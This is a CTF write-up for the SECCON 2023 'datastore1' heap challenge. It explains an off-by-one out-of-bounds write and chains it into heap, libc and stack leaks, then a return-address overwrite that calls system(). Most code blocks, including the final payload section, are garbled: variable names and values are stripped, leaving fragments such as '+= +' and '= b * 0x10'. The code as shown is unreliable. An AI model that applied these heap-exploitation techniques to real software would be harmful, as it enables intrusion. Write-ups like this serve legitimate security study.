SECCON CTF 2023 Quals - datastore1
Table of Contents
0x00. Introduction
Structure
typedef struct data_t;
typedef struct Array arr_t;
typedef struct String str_t;
The unusual way of storing data made it tricky to adapt to at first. Don’t overthink it - just think of it as storing data in data_t, using different storage methods depending on the data type.
Concept
> 1
> a
> 2
<ARRAY()Based on input, you can freely store or query data in the heap.
0x01. Vulnerability
The vulnerability occurs when handling Array in the edit() function.
static int
It verifies if the input idx value is greater than arr->count, but doesn’t verify when the two values are equal, causing OOB. For example, if arr->count is 4, data[0]~data[3] are created, but we can access non-existent data[4] to reach the area immediately after arr.
It’s surprising that shell can be spawned with such a simple vulnerability. Vulnerabilities should indeed be viewed from the perspective of finding bugs regardless of exploitability.
0x02. Exploit
Heap Leak
First, to trigger the vulnerability, we allocate Array as follows.
Here, the list in the third argument of edit() represents the Array’s index. For example:
- [] :
root->*p_arr - [0] : [00]
- [0, 1] : [00] -> [01]
Therefore, edit(s, 'u', [0, 1], 'a', 4) means “create an arr_t of length 4 at position [00] -> [01]”.
Creating data_t objects this way results in this memory layout.
# root : 0x5555555592a0
# []
# [0]
# [0, 0]
# [0, 1]
We can see that heap allocates chunks consecutively, creating an adjacent memory structure for [0, 0] and [0, 1]. Using the OOB vulnerability to access non-existent [0, 0, 4] allows us to overwrite the 0x555555559378~0x555555559380 area.
0x555555559378:[0, 1]chunk’s header0x555555559380:[0, 1]->count
Since the show() function references the object’s size and prints it with data_t->type, if we can write some address to count, leak is possible.
)>
)>
)>
)>
)>
When allocating a new arr_t to [0, 0, 4], allocation occurs as follows.
0x555555559378:[0, 1]chunk’s header ->data_t->type0x555555559380:[0, 1]->count->data_t->*p_arr
However, when accessing [0, 0, 4], edit() calls the show() function to display the current data state.
static int
At this point, data_t->type stores chunk size 0x51, which is undefined in type_t, causing show() to call exit().
static int
Therefore, before creating arr_t, we need to use delete in edit() to initialize the value interpreted as data_t->type to 0.
# overwrite arr_t.count of [0, 1]
After successfully overwriting, the new arr_t address is stored in the [0, 1]->count part, and we can output the value using show().
Heap Overflow
Now that heap leak is possible with arr_t, I attempted exploitation using the other structure str_t.
typedef struct String str_t;
I thought overwriting size and *content using OOB would enable arbitrary address read/write.
Allocating str_t objects using the above payload results in this memory structure.
Even though we want to overwrite [0, 2, 0]’s size and *content using the OOB vulnerability, it doesn’t allocate in adjacent areas due to how create() receives input.
static int
Looking at scanf(), it uses a pretty unfamiliar formatter. m is one of the GNU extension features that allocates heap memory to store input. Looking closely, it receives input in buf, puts the address in str->content, then calls free(). Since buf is set to NULL anyway, no actual freeing occurs.
Anyway, when executing scanf(), it allocates memory to receive 70 bytes, stores the input, then frees the remaining memory. Since this process uses heap, buf is allocated before str_t, preventing [0, 2, 0] from being allocated in an adjacent area. Therefore, we need to write the payload to free a chunk with the same chunk size as str_t and call create().
For this, when overwriting [0, 1]->count during heap leak, I created an object with arr_t->count of 1 at [0, 0, 4] so the chunk size becomes 0x20.
# free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
After writing the payload this way, memory looks like this.
Now [0, 2, 0] is allocated adjacent to [0, 3], enabling the OOB vulnerability.
# now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
As in the payload above, accessing [0, 3, 4] and inputting 0x1000 to be interpreted as v_uint stores it in memory as follows.
Since 0x1000 is written to the [0, 2, 0]->size area of the str_t structure, we can freely overwrite 0x1000 bytes starting from 0x555555559490, the address stored in *content, using this object.
Libc Leak
When solving the challenge, I thought “since heap overflow is possible, I should first overwrite chunk size to leak libc” without clear purpose, but…
“Since PIE and Full Relro is enabled, I should give up on GOT overwrite and leak libc -> leak stack to overwrite return address” seems like the correct chain of thought.
Anyway, I proceeded with libc leak using the technique of sending chunks to unsorted bin to store main_arena addresses. There were several conditions to meet, otherwise chunks wouldn’t be sent to unsorted bin.
- chunk size must be 0x420 or larger
- chunk must exist in next area (
next_chunk) next_chunkmust not be top chunk
Especially if the thrid condition is not met, it just merges with top chunk and chunk is not sent to unsorted bin.
Looking at memory from the earlier heap overflow situation to meet conditions one by one:
I planned to change [0, 2, 2]’s chunk size to 0x421, free it, then after main_arena address is written, change [0, 2, 1]->*content to [0, 2, 2] address for output.
Considering chunk size overwrite and changing [0, 2, 1]->*content, I wrote the payload as follows. I wrote it to maintain the structure without touching other chunks, as touching them would cause errors in free().
# overwrite chunk_size of [0, 2, 2] ("CCCC")
= b * 0x10
+= +
+= b * 0x40
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
+= + # set [0, 2, 1]->content to [0, 2, 2]
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
Now the payload to meet the second and third conditions is as follows.
# align top chunk; nextchunk of 0x420 chunk should not be top chunk
# next_chunk
Creating objects only up to [0, 2, 3, 2] makes [0, 2, 2]’s next_chunk the top chunk, so we must create [0, 2, 3, 3].
)>
)>
Stack Leak
With libc address, stack leak is possible using the environ variable.
# arbitrary read (environ)
= b * 0xe0
+= +
Earlier I wrote payloads matching chunk structure for allocation and freeing, but now that’s unnecessary - just match the offset with [0, 2, 1] for leak.
Ret Overwrite
Finally, I decided to overwrite the return address for RIP control. First, I set [0, 2, 1]->*content to point to the stack address storing main()’s return address. Then used gadgets in libc to set arguments and called system().
But I had to use the pop rdi; pop rbp gadget since stack address during syscall was not aligned.
# arbitrary write (ret of main)
= b * 0xe0
+= +
= 0x2a745
=
+=
+= b * 8
+=
0x03. Payload
=
=
=
= 0x555555554000
=
=
return
return
=
return
= f
=
=
=
=
=
=
# overwrite arr_t.count of [0, 1]
# heap leak
= # invalid index to return menu
= - 0x470
# free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
# now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
# align top chunk; nextchunk of 0x420 chunk should not be top chunk
# next_chunk
# overwrite chunk_size of [0, 2, 2] ("CCCC")
= b * 0x10
+= +
+= b * 0x40
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
+= + # set [0, 2, 1]->content to [0, 2, 2]
+= +
+= b * 0x10
+= +
+= b * 0x40
+= +
# move [0, 2, 2] ("CCCC") to unsorted bin
# libc leak
= # invalid index to return menu
= - 0x21ace0
# arbitrary read (environ)
= b * 0xe0
+= +
# stack leak
=
=
= - 0x120
# arbitrary write (ret of main)
= b * 0xe0
+= +
= 0x2a745
=
+=
+= b * 8
+=
# exit
=
=